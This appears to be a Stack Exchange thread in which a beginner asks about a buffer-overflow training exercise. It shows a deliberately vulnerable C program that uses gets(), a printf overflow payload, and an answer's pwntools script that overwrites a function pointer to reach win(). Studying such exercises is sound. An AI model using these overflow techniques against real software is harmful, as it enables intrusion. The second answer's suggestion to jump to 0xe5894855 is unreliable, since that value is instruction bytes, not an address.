2

I am a beginner at buffer overflows been studying this subject from a few days and i found this exercise (code from: here)

I think understand the basic concept i write more than 64 bytes characters and the gets function overflows the next address on the stack because it cannot determine the length of my chars and i overwrite the next address with a location of my choice which the esp executes am i right ?

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];

fp = 0;

gets(buffer);

if(fp) {
  printf("calling function pointer, jumping to 0x%08x\n", fp);
  fp();
}
}

Following the code i use the printf command in the terminal

printf "qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqbqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\xca\x06" | ./ex3

i get the segfault which i am supposed to and the printf in the program shows me that i am overwriting with the proper address

(gdb) x win
0x6ca <win>:    0xe5894855

terminal:

calling function pointer, jumping to 0x000006ca
Segmentation fault
3
  • Hi! I didn't exactly understood what is your question here? As I see it from the results you posted you redirected programs control flow to your desired address causing a segfault...
    – game0ver
    Commented Jul 5, 2018 at 17:30
  • @game0ver yes and the adress i am trying to jump to 0x6ca is the win adress but for some reason i am not jumping there ? Commented Jul 5, 2018 at 18:23
  • Are you sure it's the win address? Anyway in my answer below I tried to explain some things that may have gone wrong in your payload.
    – game0ver
    Commented Jul 5, 2018 at 18:37

2 Answers 2

0

I think understand the basic concept i write more than 64 bytes characters and the gets function overflows the next address on the stack because it cannot determine the length of my chars and i overwrite the next address with a location of my choice which the esp executes am i right ?

Not exactly! ESP doesn't execute your shellcode (ESP is just a 32-bit register), but points to that, so by controlling EIP and make it point to e.g. jmp esp instruction's address you can easily access the shellcode location on the stack and execute it. In your case you don't need to make EIP point to a jmp esp instruction but with the address of win function.

So assuming that the goal of the exercise is to try to modify program's control flow in order to make win() function to be executed even if it isn't called in main. The first thing to do is to determine the exact offset you need in order to be able to control the EIP register. To do that you need a debugger like gdb. I also suggest gdb-peda which automates a lot of useful stuff like pattern creation etc...

Then you can use that to overflow the buffer and redirect the control flow to win(). Assuming aslr is disabled you can easily find the address of win using gdb. Then you can construct you exploit (I used python) as follows:

#!/usr/bin/env python

from pwn import *

offset = 64                  # offset to control EIP
ret_address = p32(0x40057d)  # address of win() packed for x86 archs

payload = "A" * offset + ret_address  # final payload

p = process('./test')  # execute the test binary
p.sendline(payload)    # send our payload
print p.recv()         # get the output

In the above code-snippet I used pwntools to make it easier to interact with the binary but you can do the same thing without using any external modules.

Notes:

  • I tried the above code on x86-bit system but you can easily modify it in order to work with x64 bit also.
  • In addition the address of win() function will probably be different from the one I posted.
  • For the sake of simplicity I assume aslr is disabled.
1
  • I updated my answer in order to correct something. To be more specific buffer overflows do not directly modify registers, so by saying 'overwriting EIP' I actually meant taking control of EIP. For more information check this answer.
    – game0ver
    Commented Jul 8, 2018 at 9:22
1

Try jumping to 0xe5894855 instead. The 0x06ca migth be just a pointer.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .